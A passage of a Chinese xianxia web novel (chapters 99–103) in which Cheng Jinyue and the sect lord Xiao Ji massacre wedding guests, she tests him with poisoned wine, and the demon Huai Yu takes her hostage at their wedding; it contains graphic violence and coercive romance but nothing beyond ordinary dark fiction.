萧极没有回答,脸上依旧挂着淡淡的笑。 一剑贯穿萧盼兮的喉咙,鲜血淋漓,这是萧极的回答。 头与脖子被利剑割开,只有一点薄薄的皮肉连接在一起,红白的东西从她的全身流出,肠子挂在肚子上的缺口上。 但是她还是没死。 甚至还能够说话。 “哈哈哈哈哈……” 她笑起来,笑声让所有人浑身战栗。 “哎,大家,你们不觉得好笑吗?” 她的眼珠子看向周围人,轱辘轱辘地转着。 “从来杀伐无情的无定界界主,竟然真的会动情诶,真的会被一个女人骗得团团转,甚至甘愿被她骗,甘愿给她当一条狗。” 她笑起来。 “哦,抱歉抱歉,我忘记了,这里还不止一条狗呢。” 她笑得浑身颤抖,跟从前一样,随意地说着话,那样开朗。 “嘻嘻,我就知道,程今越,你果然不是什么温良的小白花。” 她缓缓抬起头,一双和萧极一样的黑色双眸看着程今越。 程今越轻轻抬起头,眼睛看着萧盼兮。 随后淡淡地笑起来,双眼眯在一起。 黑发温顺地落在她的肩头,空灵又缥缈。 是一种诡异的生命力,不是流于表面的,像是湖水底下的暗潮涌流。 程今越摇了摇头,“盼兮,随意揣测一个人,并不好呢。” “我就应该更早一点杀了你。”她失落地摇摇头。 “纯正的长明族的血脉,世间最宝贵的药材。” 此话一出,众人皆叹。 程今越怎么会是纯正的长明族的血脉,她不是大衍剑宗的三小姐吗? 随后所有人心中一沉。 完了,萧盼兮是要他们所有人跟着她一起去死。 这样的秘密被知道了,萧极是不会允许他们活着走出丹心阁的! 有人按捺不住,运用法力想要逃走,但一道更强的法力已经早早地施加在他们身上,此刻竟然连法力都无法使出。 “程今越,你玩弄人心,把所有人骗得团团转,可惜萧极不信我,萧砚修也不信我,全都被你骗了。” “有时候我也在想,是不是我想多了,但是直觉告诉我,没有。” “你一个只有些许灵力的废物,如此卑贱,低劣,根本就不配活在这个世间。” “一个药材而已,就做好一个药材就是了。” “这样一个废物,竟然还能苟活这么久,我要是你的话,我就会对自己的出身感到羞愧,像你这样的恶心的凡人,明明是被世间抛弃的物种,还妄想爬上来,获得什么尊严。” “可笑。” 程今越脸上的笑越发深邃,只是静静地看着萧盼兮的恼怒。 “知道你们这些蠢货为什么会死吗?” “就是因为你们全都被程今越骗了!” “不只是我要死,萧极,萧砚修,你也得死!” “大衍剑宗……” 话还没有说完,骨骼破碎的声音传来,萧盼兮断裂的骨头瞬间从皮肉之间扎出,自己的肋骨以极其诡异的方式刺穿了她的脖子,整个人开始被腐蚀。 皮肉外翻,血水滚烫。 在痛苦声之中,整个人炸开,血肉四散在各处,落到附近人的身上。 从始至终,程今越的脸上没有任何多余的表情。 一种格外诡异的愉悦感从她内心深处涌起,逐渐蔓延到她的全身,让她浑身颤抖。 她已经开始享受上了观看人的死亡。 看着他们的痛苦,看着他们的哭喊,看着他们的无能为力。 就跟当时的她一样。 原来是那么可爱又好笑。 这就是掌握他人生死的快感。 这就是权力带给人的异化。 程今越喜欢这种感觉。 孟朝却在一旁愣愣地看着程今越的一切。 他整个人有些愣住了。 他看到了什么? 他不禁开始质疑自己。 从来温柔善良的三小姐为什么能够不动声色地观赏完这一场血腥的演出。 她的笑依旧澄澈,她的身姿依旧瘦弱,每一个神态都如从前一样。 但却让孟朝浑身发冷。 他从来没有觉得程今越如此陌生过。 程今越好像注意到了他,扭头轻轻瞥了孟朝一眼,脸上的笑意更加深邃。 “孟朝公子于我有旧缘,除了他,全杀了吧。” 她声音轻飘飘的,好像在说什么平常的小事。 来的人都算是仙门之中的说得上名头的人,修为不算低。 性命之忧在前,所有人都抬着头,掐着决,准备和萧极背水一战。 但是蜉蝣的挣扎,就是如此的好笑,甚至会让人觉得有些可爱。 萧极只是轻轻抬手,威压便施加下来,不要说是动用灵根,就是呼吸都变得格外困难。 所有人方抬起来的头,瞬间被极强的威压按下,所有人血肉与骨骼都在咯咯作响,像是有一双大手在挤压着,所有人有扑通一声朝程今越跪下。 就连头也控制不住,朝程今越方向叩拜着。 萧极突然笑起来,“萧砚修也要死吗?” 他转头看向程今越。 他的黑眸目不转睛地看着程今越,不放过她任何的变化。 四周静悄悄。 “当然。” 她毫不犹豫。 反正是一个分身罢了,怀钰一定不会怪她的。 毕竟可是他答应和自己联手的。 就算程今越拒绝,萧砚修这个分身也是一定会死。 上次从平城回来后,萧极早就心中生疑,只是没有确切证据罢了。 而今日怀钰更是不加掩饰,公然与萧极作对。 像萧极这种上位者,权威与尊严是绝对不允许被挑战的,不论是谁。 萧极从一开始就没打算放过萧砚修这个分身。 毕竟萧极怎么会放着一个惦记自己嫂子的人活着呢? 而不杀孟朝,自然也不是因为程今越的话。 不过是因为孟朝是青岩山的少主,只有这样强大的仙门才能值得让萧极忌惮。 随着萧极双手一握。 眼前变成一片血海,血浆崩裂,血肉挥洒一片。 什么仙门小姐公子,都在此刻平等地碎成几片片,化作一滩血水。 孟朝怔怔地看着眼前发生的这一切,他沉沉地呼吸着,整个人快要不能思考。 他低着头,甚至不敢去看程今越。 他听见自己心跳的声音。 为什么会这样? 这是三小姐吗? 三小姐那样善良,怎么会做出这样狠毒的事?她怎么会杀人呢?她怎么忍得下心来做这样的事呢? 三小姐是会为大家求饶,心软地放过所有人。 她从前明明会救助苍生,救过那么多孩子,无私地救济那么多百姓…… 三小姐怎么会杀人呢? 孟朝觉得他快要呼吸不过来。 他觉得自己世界观都快要崩塌。 “孟朝,夫人大发善心,让你活了下来,你还不赶紧谢恩。” 程今越的侍女催促着。 第100章 越清醒,越沉沦 孟朝抬起头,看向程今越。 程今越完全不回避他的目光,分明看出了他眼中的困惑,却依旧轻笑着,慈悲,温柔,像从前一般。 她好像对自己方才的所作所为没有任何反应,甚至没有意识到自己方才在做什么。 “孟朝公子?” 程今越笑着催促着。 她脸上的笑意分明越发深邃。 像是一汪深潭,底下是波涛汹涌。 四周一片寂静,他看到萧极紧紧握住了她的手。 “三小姐,为何要杀了他们?” “明明可以抹去他们的记忆便可。” 良久,他终于开口。 孟朝不明白。 他讨厌看到死亡,就和从前的三小姐一样。 明明这些都是程今越一点点教给他的。 程今越低着头,只是摇摇头。 她是不想在孟朝面前这么早地暴露原本面目的。 毕竟孟朝的血还没有吸干,日后说不定还有用得到他的地方。 只是日日伪装实在是太没有意思了。 掌握他人生死的快感,是没有一个人可以拒绝的。 “孟朝,有时我不知道该说你是单纯还是蠢。” 萧极弯着眸子。 “界主慎言。” 孟朝冷冷开口。 萧极突然笑起来。 他收回手中的剑,上面还是鲜血淋漓,只是轻轻一吹,剑上的血瞬间消失,利落地收入剑鞘之中。 “我还以为你是多么高尚正直的人呢,孟朝。” “孟朝无父无母,无人教导,自然不算高尚之人,但,至少不会滥杀无辜。” 他看着萧极。 “滥杀无辜?” “嗯……如果你要这么说的话,也算吧……” 他点点头。 “不过,毕竟是家妻的命令,萧极真是很难不从呢。” 他伸手将程今越搂在怀里,随后轻轻挑眉,看着孟朝。 孟朝紧紧攥着手,他咬着牙。 令人作呕。 “萧界主,什么时候你可以一人做事一人当。” “孟朝能走至今日,三小姐对孟朝的教诲时刻在心中,是三小姐时刻教导孟朝知廉耻,懂荣辱,让我心系苍生,甘于奉献。” “我比你更清楚三小姐是什么样的人。” 他斩钉截铁,目光澄澈地看着萧极。 萧极却没忍住笑出声来,他懒散地抬起半张脸,玩味地看着孟朝。 他本是最讨厌和蠢人说话的,但是今日却突然来了兴致。 看到正义者的世界崩塌,没有什么比这个更有意思的事情了。 更有意思的,正义者信仰的人竟然是程今越。 “是吗?” “你不如亲口问问你的三小姐?” 他轻轻歪头,瞥了一眼程今越。 孟朝心中沉沉。 四周一片死寂,只有血腥气。 他张了张口,看着程今越的脸,却又哽咽着。 不知道为什么,他就是问不出来这个问题。 他甚至都不敢看向程今越,他觉得喉咙之中一片酸涩,过去的回忆不断浮现在脑海之中。 很多不合理的地方都在他的记忆之中浮现了起来。 他想等程今越告诉他,告诉他,不是这样的。 只要程今越开口,他就愿意相信程今越! 三小姐怎么会是这样的人呢? 怎么会呢? 如果三小姐是这样的人,那从前那个温柔善良的程今越去哪儿了? 她会温柔地教导孩子们,会挡在弱小者的身前,会原谅那些作恶的人,会细致地为他疗伤,还会让他积极往前看,告诉他世间是很美好的。 那他这些年建立起来的信仰是什么呢? 难道是建立在一堆废墟上的吗? 他终于鼓起勇气看向程今越。 可是程今越没有回答他。 沉默,已经说明了一切。 可是孟朝还是不相信。 “抱歉,孟朝公子。” 程今越最终还是开口了。 没有比这时更好取得萧极信任的时刻了。 没有用的狗,随时踢掉就好了。 “有些时候,话何必说那么明白呢,对吧?” 程今越笑着,轻挑着眉毛,和萧极如出一辙的气质展露无比。 像一只山鬼。 诡异之中透露着神性。 孟朝紧握着手,指甲陷进肉里。 他觉得耳边有些嗡鸣,他开始说不出话来。 为什么会这样呢? 萧极走上前,缓缓挡在程今越身前,漫不经心地笑着。 “孟朝,你自诩正义,却总是觊觎他人的妻子,这便是正人君子吗?” 这句话如剑一样,刺向孟朝的心口。 孟朝一生所行所做之事,几乎可以都算做正义之事,唯有此事,是他唯一的阴暗面。 程今越,程今越! 这三个字像是刺青一样,像是刀疤一样,刻在他心头的最深处。 他哑口无言。 “孟朝公子,别忘了来参加我和家妻的婚宴。” “小越很期待你来哦。” 他听见萧极笑着,所有人都离去了,所有人都死了。 只有孟朝站在原处。 他一直站到血都凝固了,夜都深了,丹心阁的莲花全都枯萎了。 原来,他真的被骗了啊…… * 这个冬天过得不算漫长。 这应当是程今越过得最好的一个冬天,锦衣玉食,她成了真正的大小姐。 萧砚修和萧盼兮的死没有给程今越带来任何麻烦,这是她胜利的象征。 丹心阁这一宴中死去的众人用鲜血给程今越筑起了不可置疑的高座。 想要权,想要他人的尊重,只有杀,是最简单,最管用的。 除了自由与力量,程今越几乎什么都有了。 萧极对她的囚禁更加严苛,他所说的没有一句是假话。 萧极甚至开始对她的衣食住行亲力亲为。 他会为她梳头,为她穿衣,为她做饭。 他会问很多,问得最多的便是,“那只魔种也是这样对你的吗?” 新年,无定宫更加忙碌,因为新年过后便是界主大婚。 仙门之中挂满了灯笼,据宫中侍女说,这是从未有过的,因为萧极此前从来不过这些节日,一切从简。 但是由于程今越的到来,萧极一切的习惯都改变了。 古松全缠上了金丝红绸,风一吹便随风飘逸。 过年的那一夜,程今越站在了无定宫最高的楼阁之上。 月色朦胧,灯火辉煌,程今越低头,能看见云万里山千叠,天尽头城不灭。 从高处往下看,这是程今越梦寐以求的事情。 不单单是这一刻,而是以后永远。 她极少的心情不错,因为她知道,她的愿望很快就会实现了。 身旁是早已准备好的清酒。 她看了又看这出自月如仪手中的东西,无色无味。 程今越不知道萧极会不会发现,一切都是赌注。 他在正常情况下,应当是会发现的,可是如果对方是她呢? 萧极立在琉璃瓦顶的阴影里,月光洒在他的脸上。 暖黄的灯光与清冷的月色将他整个人衬得格外矜贵,黑眸中极少的有了亮光。 “程今越,生辰快乐。” 他突然说。 随后他递给了程今越一把剑。 剑还未出鞘,便能感受到不俗的品质,在月色下露着流光。 程今越皱眉。 “什么?” 生辰这个词,对程今越来说实在是太陌生了。 她已经好久好久没有过这种日子了,久远到她都快忘记了这件事情。 “程今越,你不会蠢到连自己生辰都忘了吧?” 他笑起来。 程今越不说,但没关系,他是萧极,有一切办法和手段。 随着这句话,程今越久远的记忆才开始浮现起来。 “好像是。” 她不知道萧极是怎么做到的,但如果是萧极,做到这样的事情也完全是在情理之中。 “谢谢。” 她轻轻地接过这把剑,是为程今越量身打造的,并不重,就连几乎没有练过剑的程今越也能提起,甚至与她周身的灵力都格外适配。 她心中微动,好适合她的剑,就是不知道这把剑砍在萧极的脖子上是怎么样的。 萧极脸上的神色瞬间冷了下来。 他冷笑一声,“就这?” 程今越被他这一句话说得抬起了抬眸,懒散地喝了一口酒。 “界主,这不是我的生辰吗?” 其实他还想告诉程今越,说,他记得程今越还专程去宁城买了心石来做剑做刀,于是他用心挑选了材料,从知道这个消息开始便准备,用心头血做了这一把剑,只要剑在,就相当于他人在。 萧极想说的很多,他在心底酝酿了很久,都被程今越这一句话憋了回去。 他一把揽住程今越的腰,让她坐在自己的身上,另一只手死死地掐住程今越的脖子。 咬牙切齿地叫她的名字。 “程、今、越——” 程今越不愿意被萧极囚禁,她无数次抗议过,无论是言语还是行动。 如今更是不愿伪装。 但不得不说,因为程今越的缘故,萧极的耐心好了很多。 从前的萧极或许已经早就把程今越大卸八块了。 可人总是会变的。 就连萧极也觉得自己疯了。 可程今越却笑起来,轻轻将萧极抱住,“界主,别生气,大过年的。” 她轻轻地吻了吻萧极的脸颊,声音带着蜜。 每次都是这样。 自从程今越不打算演了之后,萧极更加看清了这个女人的真实面目。 高傲,荒诞不经。 萧极失笑,他抓住程今越的脸,深深地吻了上去,近乎要完全掠夺她的呼吸。 他尝到程今越嘴唇里的酒香,格外清甜。 他知道这个酒,是宁城才独有的。 名叫清若空。 又是宁城,还是宁城! 宁城到底有什么东西让程今越记忆如此深刻? 到底是因为宁城,还是因为人? 萧极从来没有醉过。 保持清醒很重要,他一直都很清楚这一点。 喝醉就像是灵魂被分成了两半,一半冷静思考,一半却沉溺进了深海之中,告诉自己,不要再往下沉了,可是却像是上瘾一般,越清醒,越沉沦。 可程今越递给了萧极一杯酒。【魔蝎小说 mo xie xs .c om】 100-107 第101章 玩弄人心上,只有程今越才是赢家。 萧极的记性很好,他从出生起,便被家族予以重任。 他记得他的母亲,是一位拥有黑色眼眸的温柔女性,被众人奉为神一般的人物,作为无定界的界主,像是掌管着万物的始源。 他没有见过他的父亲,但是这并不影响他的成长。 或许冷静、无情、凉薄,是萧氏遗传中最重要的因素。 就像是命一般,像是灵根一样,镌刻在骨子最深处,几乎不能改变。 萧极小的时候曾养过猫,不过很快,便只剩下尸体。 他曾尝试与其他人做朋友,不过大多数人并不聪明,许多人结交后也没有什么用处。 母亲告诉他,要成为世间巅峰之人,普通的情念都是要抛弃的,是累赘。 或许正是这样的缘故,母亲身边总是有无穷无尽的男人,但是他们也会不断地死去。 但母亲不会有任何表情的流露。 萧极学得很快。 没有什么意外的,因为他做什么都是天才。 他在山顶俯视着茫茫苍生,好像都平平无奇没有什么意思。 就连凡人的生死也不过是供人取乐的东西,甚至没有什么意思。 直到他注意到了阴沟里的那一只老鼠,想要从深不见底的肮脏地带往上爬。 杀不死,野火烧不尽,春风吹又生。 如今老鼠正递了一杯酒给他。 她笑着,“老鼠怎么了?我现在已经不是老鼠了,界主。” “我现在不是界主的金丝雀吗?” 程今越朝他举杯,楼阁之外是万家团圆时,万千孔明灯飘在空中,盈盈灯火在夜空之中燃起,暖色的光照在程今越身上,她看了一眼楼阁外的灯光,眼眸之中有火闪烁。 “界主,新年快乐,这一杯我敬你。” 很陌生,很奇怪,很新奇。 仿佛这一个节日不应该属于萧极。 他也从来没有真正意义上度过过新年。 他从来不觉得无定界是“家”,也并不觉得萧氏的人是家人。 天地渺渺,独他一人。 但今年,萧极却破天荒地决定过年了。 当他把这个消息告诉跟着他很多年的长老白落时,对方眼眸中的震惊一闪而过,但是萧极捕捉到了。 萧极有了软肋。 他自己也清楚。 其实不该这样的。 为什么他会变成这样呢? 萧极却端着这一杯酒,迟迟没有动作。 他低头看着酒杯,酒中有他的倒影。 程今越目不转睛地看着他的动作。 萧极知道了什么? 她心不断跳着。 “程今越,你新年有什么愿望吗?” 他突然问。 这一句话把程今越问懵了。 不知为何,她脑海里竟然第一个浮现出来的人是怀钰。 怀钰也曾问过她这个问题。 他曾像一只小狗一样,偎依在她的怀中,拉着她的手,说:“小越,如果新年有你陪我过就好了,喜欢你的人那么多,可我却真的只有小越,如果小越不在的话,我会好难过。” “杀了那只魔种。” 她毫不犹豫。 可是她脑海里的话还没有消失,那句话继续说着。 “小越,我在看着孔明灯,你在看吗?” “我一个人坐在山顶,风好冷,我好想你啊。” “你也想我的吧?” 程今越瞬间后背发凉,脑海里的话语不是她的记忆,而是清清楚楚的话,是怀钰的声音,是久别重逢的声音。 轻轻地,温柔地,程今越甚至能回忆起怀钰柔软的头发,小狗一样的眼睛。 可萧极的话没有停息,他黑眸之中少有地沾染了暖色的光,眸中全是程今越,带上几分温柔。 “我的愿望是年年有今日,岁岁有今朝。” “程今越,以后我们每年都一起过年吧。” 两段话同时在程今越耳边响起。 她顿时失了神,片刻的恍惚被萧极收入眼底。 “想到什么了?” 他问。 程今越摇摇头,又喝了一杯酒,“没什么,只是觉得界主头一次说这样的话。” “界主明明还没喝酒,却跟醉了一样。” 萧极失笑,月色与暖色都落在他出众的脸上。 握住酒杯,看了又看,指节分明的手指微微用力,甚至能够泛白。 程今越看着迟迟没有喝下去的酒杯,心悬在半空之中。 随着萧极的动作不断颤动着。 “你的愿望真的只是魔种去死吗?” 他突然问。 一句话问得程今越整个人失色。 没有等萧极说完,他终于举起酒杯,就要将它一饮而尽。 但程今越突然站起身,一把将酒杯夺过,摔在了地上。 清脆的瓷器碎裂声刺耳,打破夜晚融融的平静。 萧极鲜有地愣住,他看着程今越。 程今越的脸上却没有表情,“换一杯喝。” “你的愿望难道不是我去死吗?” 萧极的眼睛看着程今越,微微笑起来,黑眸像是能够攫取人的灵魂。 一句话让四周变得冷冷的,程今越心中一动,神色剧变,顿着,她没有说话。 萧极的眼睛像是要穿透过程今越的身体,看透她的所有。 像刀剑一样。 良久。 程今越大彻大悟地点了点头,笑起来。 “原来你知道啊。” 萧极早就知道这杯酒里面有毒,但是却陪着程今越演了这么久的戏。 如果程今越不说,他说不定真的会喝下这杯酒。 或许是对自己的修为的自信,或许是对程今越的感情,一切复杂的情感促使无定界的萧极神差鬼使地喝下了这杯酒。 他其实知道,这一杯酒下肚会死。 萧极从来不是一个赌徒,也从来不做赔本的买卖。 他只会杀人,只会玩弄人心,只会坐在高台,看着他人厮杀。 而如今,他却跟一个疯子一样,好像真的喝醉了一般。 毫不犹豫地埋进深海之中,全然不知其中潜藏着什么样的危险。 就像是赌气一般,他就是要赌,就是要做人生中最重要的赌注。 不甘,嫉妒,恨,爱,所有的感情交织在一起。 他就是要问一句为什么,凭什么! 他就是要赌程今越对他的感情。 萧极高高在上,他疯了,他就要把性命交到程今越手上。 他甘之若饴。 “是,我曾经的愿望是希望你去死,但是现在我后悔了。” “萧极,我不想你去死。” 程今越走上前,看着一地的瓷片,她深深喘着气,自嘲地笑着。 说完,一双澄澈的眼眸看向萧极。 程今越等待着萧极的惩罚。 萧极高傲,不可侵犯,更是不可能挑战他的权威。 可萧极却什么话也没说,将程今越死死搂入怀中。 明明是程今越要杀他,明明是这样恶劣的行为。 可仅仅是放弃了杀他这个决定,便让萧极浑身颤抖。 一种莫名的巨大的欣喜涌上全身,恐怖的愉悦冲上头脑。 萧极第一次体*会到了做赌徒的喜悦。 怀中的少女愣愣地抬眸看着他。 “萧极,你居然不杀我?” “我可是居心叵测的阴沟里的老鼠,妄图屠杀神仙。” 程今越想过很多可能,她想过这件事失败之后,萧极可能会杀了她,也有可能会变本加厉地折磨她。 但她的确没有想过,萧极会这样安安静静地将她拥入怀中,仅仅如此。 “要我杀了你?” “程今越,你做梦吧,你就是死,尸体也要留在我的身边。” “魔种当然会死,你的愿望都会实现的。” “我说过,你想要做什么,我都会为你实现。” “只要你乖乖待在我的身边。” 坦白来讲,程今越能够读懂很多东西,明白人许多想法。 但是她真的不明白感情。 特别是疯子的感情。 “那你不怕我什么时候又想杀了你?” 程今越笑着问。 萧极挑眉。 “就凭你?” “你大可以来试一试。” 嚣张至极,站在世间顶端的猎人就是如此。 可是,谁说顶端的猎人不会沦为猎物了? 她环抱住萧极的脖子,靠在他的肩膀上,笑容浅浅露出。 萧极不是赌徒。 可她程今越是啊。 月如仪要萧极死。 凭什么程今越就要相信月如仪和她合作。 可程今越谁都不信,她只相信她自己。 萧极说她是阴沟里的老鼠,一点都没错。 她见不得光,用尽一切手段苟活。 没有势均力敌,只有她赢。 她要赌,赌萧极对她的感情。 月如仪或许真的想要和她合作,药真的不会被萧极发现。 但是程今越不需要。 萧极现在不能死,她要萧极帮他杀了怀钰。 程今越清楚地知道自己要什么,她不会被任何人的任何话而动摇。 她爱且只爱她自己。 她只需要萧极的真心与信任。 这便是最好的机会。 萧极或许不会发现酒有问题,但是她可以漏破绽啊。 悬崖勒马,危急时刻的后悔,恨意之中的真情。 是最让人动心的东西。 只是赌输了,会死得很惨烈。 不过很可惜。 程今越又赢了。 “好了,放开我。” 萧极冷笑,“放开?” “程今越,我觉得你应该是误会了什么。” “我只是说了不杀你,可是又没说要放过你。” 骨节分明的手一路往下,肌肤与肌肤相接。 程今越要推开他,却被他瞬间制止。 一双大手将程今越的手钳住,将她转个圈,让程今越的后背靠着他。 程今越趴在楼阁的木栏上,整个人被萧极压住,不得动弹。 往远处看是无尽的远山与灯火,开阔无比,风吹在她的身上。 “萧极,这里是阁楼!” “你又在发什么疯?” 程今越瞪着眼睛看他。 男人的手放在她的腰上,背后传来沉沉的声音,带着恶劣的笑。 “程今越,没有几日我们就要成婚了。” “从前我对你太多放纵,现在我希望你改口。” “你应该唤我夫君。” 第102章 夺妻。 程今越意识到大婚这一天要来临的时候,她第一次有些恍惚。 其实程今越一生中成过很多次婚,无数的人为她穿大红的婚服,无数双手为她戴上凤冠霞帔。 历史不断重复着。 关于那些往日的印象,那些各色的笑容,那些深浅的拥抱,那些紧握的双手,那些包含情绪的眼睛。 都在这一刻,恍惚地,后知后觉地在程今越的脑海之中不连贯地出现。 像是锈迹斑斑的铁钉,在身上留下的不深不浅的伤口。 一切都已消散,只有当时或恳切或憎恨或喜悦的情绪还残留在程今越的心中。 可是今日不一样,可从前的所有都不一样。 她知道自己从前走的路有多艰难,每一步都格外沉重,用血与肉,罪与恶作为铺垫。 无垢刀放在了她的腰侧,她要赢。 大婚之日,三界同辉。 无人不知无人不晓。 从程今越成为萧极未婚妻那一刻开始,便没人信程今越能够真的成为萧极真正的妻子。 萧极从来凉薄无情,杀伐果断,便是能将程今越当作一个玩物,都已经是破天荒的事情了。 直到今天的到来,众人才知道。 原来萧极也是会爱人,也是会有软肋的。 无定界的云阙浮于七色祥云之上,万数兵将将其围绕。 “界主,吉时已到。” 仙官捧着托盘跪伏在地。 萧极立于高台之上,万阶长梯在下,红妆铺满长阶,四周霞光环绕,万万人在下,乌压压地跪坐一片。 萧极穿着玄色婚服,宽肩窄腰,上位者的气质不减,黑沉沉的眸子里鲜有的露出了罕见的光亮。 他点点头,随后望向云海尽头。 随着钟鸣庄重响起,成百只青鸾引着婚辇自东方飞来,风吹起辇车四周垂落的薄纱,露出端坐其中的身影。 程今越身着正红色嫁衣,裙摆上金线勾勒,额间一点朱砂,衬得她肌肤如雪。 长发被珠冠束起,垂下的流苏随着她的动作轻晃。 程今越下辇车时,她的手被萧极紧紧握住。 众生朝她低着头,恭敬又畏惧。 “夫人,小心。” 萧极的声音轻柔,程今越能感受到他心情极好。 在万人敬仰之中,程今越被萧极牵着,一步一步往前走着。 “程今越,我等今天等了很久。” 萧极用只能他们二人听见的声音说着。 程今越轻轻笑起来,清冷柔和的脸多了几分艳丽。 她没有看萧极,“是啊,我也等今天等了很久。” 程今越的灵力不断蔓延着,像蛛网一样,她用她的眼睛熟悉着这里的一切。 大多都是陌生的气息,部分有些熟悉,嗯,也很简单,毕竟她熟悉的人都被她踩着去死了。 程今越没想到孟朝竟然还是来了。 她能察觉到对方的眼睛正在背后看着她,是不甘的,愁绪的,留恋的,复杂的眼神。 这里被萧极布满了阵,只要萧极要谁死,便没有人能够活着走出这一个阵。 怀钰也不例外。 不过很可惜的是,竟然没有闻到一丝魔物的气息。 “开始吧。” 萧极下了命令,仙官恭敬点头道是。 “一拜天地——” 二人转身,朝远处天地一拜,萧极紧紧握住她的手。 天道法则降下金光,缠绕二人手腕。 “二拜高堂——” 两人都无父母在世,遂朝三生石行礼,石上浮现二人名讳,预示姻缘天定。 “夫妻对拜——” 程今越与萧极相对而立,双目对视。 好快,比程今越想的还要快。 可当程今越要弯腰完成最后一拜的时候,她心口骤然一疼,整个人愣了一下。 疼痛牵引着全身,不断蔓延开来。 身体之中仿佛有第二颗心脏在怦怦跳动,和她自己的心跳交叠在一起,像是有一个诡异的新生命在身体之中重生。 她眼前瞬间变得模糊不清,萧极的脸在她的眼中变得扭曲。 这是什么? 她耳垂上冰冰凉凉,她今日分明没有戴耳坠。 她伸手去抚摸,是一颗圆润的玉石。 她记得这个触感,很熟悉,是她从前佩戴过的耳坠。 是用怀钰的血铸成的血珠耳坠。 …… 轰隆一声,一道血色雷霆骤然劈开苍穹,观礼席上玉盏倾覆,琼浆玉液洒落云间。 众人骇然起身,只见天穹之中裂开一道狰狞缝隙,滚滚魔气如瀑布般倾斜而下。 萧极凝眉,抬头望去,只见血色雷霆之中踏出一人。 来者面容俊美,黑发飘逸,鼻梁高挺,薄唇殷红,猩红的眼眸微微上挑,慵懒地笑着。 少年身材高大,将程今越持在怀里,骨节分明的大手扼住程今越细嫩的脖颈,在他的怀中,程今越显得格外瘦小脆弱。 “神女殿下,有想我吗?” 怀钰在她的耳边说着,带着笑意。 程今越懵了。 “你不想活啦怀钰?” “快放开我!” 怀钰是怎么出现在这个地方的? 她根本就没有察觉到任何魔气,并且这里有萧极布下的天罗地网,他是怎么做到的? 怀钰没有回答她,而是抬头看向萧极。 “界主大人,真是好久不见啊。” 众人哗然,却立马低着头,不敢说话。 数万的魔物不断地从缝隙之中涌出,仙界的兵卫也将众人围在一起。 一时间剑拔弩张,但却没有一个人敢动手。 因为程今越在这只魔种的手上。 没有萧极的命令,谁都不敢轻举妄动。 萧极面色冷冷,缓缓抬起头,看向怀钰,微露诧异之色。 他的确是没有料到,怀钰的修为快到了这样的地步。 随后突然笑起来。 “有意思。” “打主意打到我的头上来了?” 他一双黑眸沉沉,脸上却挂着笑。 “不想死的话,把程今越放开。” 他放了话。 怀钰听后却前俯后仰地大笑起来,利牙随之露出,声音病态又疯狂。 他眼尾带着红,随后将一把透着寒光的刀放在程今越的脖子上。 “萧极,我看你现在还没有搞清楚状况。” 他笑着,歪着头。 “你的夫人,爱人,程今越,现在在我的手上。” 怀钰低头,侧着头看了看怀中瘦弱颤抖的少女。 她眼眸之中已经含了眼泪,怒狠狠地瞪了他一眼,好不可怜。 萧极看到刀的瞬间,神色微不可察地动了。 “界主,这是天大的好时机!” “此魔种霍乱天下已久,手中鲜血无数,恶贯满盈,已饶我仙界近百年!” “如今阵终成,界主可立马催动术阵将此魔种就地正法!” 耳畔声音传来,是焦急的语气,仙界中人再对他心中传话。 “闭嘴。” 他冷冷道,面上却不露任何神色。 不急不慢,四平八稳,抬眼慈悲垂眸厌。 他轻轻挑眉,“所以呢?” “你狠得下心来杀她吗?” 怀钰轻笑,“萧极,你把我当什么了?” 他毫不犹豫,刀刃用力,划破程今越的脖颈,鲜血瞬间流出,在少女白色的肌肤上显得格外狰狞。 程今越的眼泪瞬间落下,眼尾通红。 整个人颤抖着,一双眼睛看着萧极。 萧极不为所动,“就这样吗?我还以为有什么呢?” 他轻笑起来,手轻轻攥起。 怀钰看着萧极,脸上的恶劣丝毫不加掩饰,“那你可最好不要后悔。” 那把刀从程今越的脖子上取下,毫不犹豫,狠狠地没入了程今越的胸口之中。 “啊——” 程今越痛苦的惨叫传来,凄惨无比。 鲜血从她的胸口溢出,染红身上的嫁衣一滴一滴落在地上。 “萧极,你不会真的觉得我下不去手吧。” “你是不是忘了,我是魔。” 他狠狠地拔出手中的刀,下一刻又要給程今越的胸口来上一刀。 萧极立刻出声制止。 “够了!” 怀钰停下来手中的动作,随后止不住地大笑起来。 “哎,萧极,你看,哈哈哈哈——” 他眼眸瞪大,过多的眼白露出,显得格外狰狞诡异。 “不是不在意吗?” “不是不在乎吗?” “萧极,我还以为你有多淡薄无情呢。” “原来你也会有软肋啊?” 怀钰疯狂地笑起来,猩红的眼眸格外可怖,所见者都不禁打了一个寒战。 冷漠的眼神中还带了一丝挑衅。 “软肋?” “抱歉,魔君大人,你是否弄错了什么。” 萧极漫不经心地找了根椅子坐下,身边的侍女连忙为他倒了茶。 他抿了口茶,黑眸看向怀钰。 “我与神女殿下也不过是萍水相逢。” “我与大衍剑宗曾有过婚约,要与蕴知小姐成婚。” “这样说来,这不是魔君大人一手促成的吗?” “你杀了大衍剑宗的人,蕴知小姐也死了,萧极从不是言而无信之人,便娶了今越姑娘。” “相信你对我也有所了解,魔君,你觉得——程今越,对我足够威胁吗?” 清冽的声音响起,不骄不躁。 “萍水相逢一场,我自然如若你放过程今越——” 话音未落,怀钰又是一刀落在程今越胸口之中。 程今越脸色苍白,因为失血过多,整个人无力地瘫倒,被怀钰一双有力的大手提住。 “萧极,有意思吗?” “我不是蠢货,也不会相信你这些冠冕堂皇的话。” 他低头看了一眼程今越,蹙着眉,又低沉笑起来。 “程今越,你看,你聪明一世,其实没有任何人爱你,真可怜。” “看来你的选择也不是多英明啊。” 他看着程今越,将她紧紧抱在怀里,头贴在她的颈窝之中,吸吮着她身上的香气。 他笑得格外病态。 “那我们就一起去死吧?” 他手中的刀要动。 萧极却立马开了口。 他失笑,四周的气氛让人不寒而栗。 “说吧。” “你想要什么?” 第103章 谎言与真心。 萧极看着程今越,她清瘦的身形被魔种遏住,浑身带血,像是一只脆弱的鸟,翅膀被折断,黑色的长发随风飘逸着。 萧极大脑第一次如此空白。 他听见自己的心在不停地跳,随着程今越的呜咽声,他几乎在一瞬间要停滞呼吸。 怀钰的大笑格外猖狂,他的耳坠上挂着红色流苏,随着他的动作不断摇晃着。 他笑了许久,四周没有人敢说话,只有他的声音回荡在四周。 他笑到眼泪都要出来了,眼睛瞪大,难以置信地看着萧极。 “哎,萧极,你不觉得自己现在非常可笑吗?” “仙界第一,剑道魁首,万人敬仰的无定界界主,杀伐果断,那么高高在上,竟然也会为了一个女人放弃杀掉一只魔种吗?” 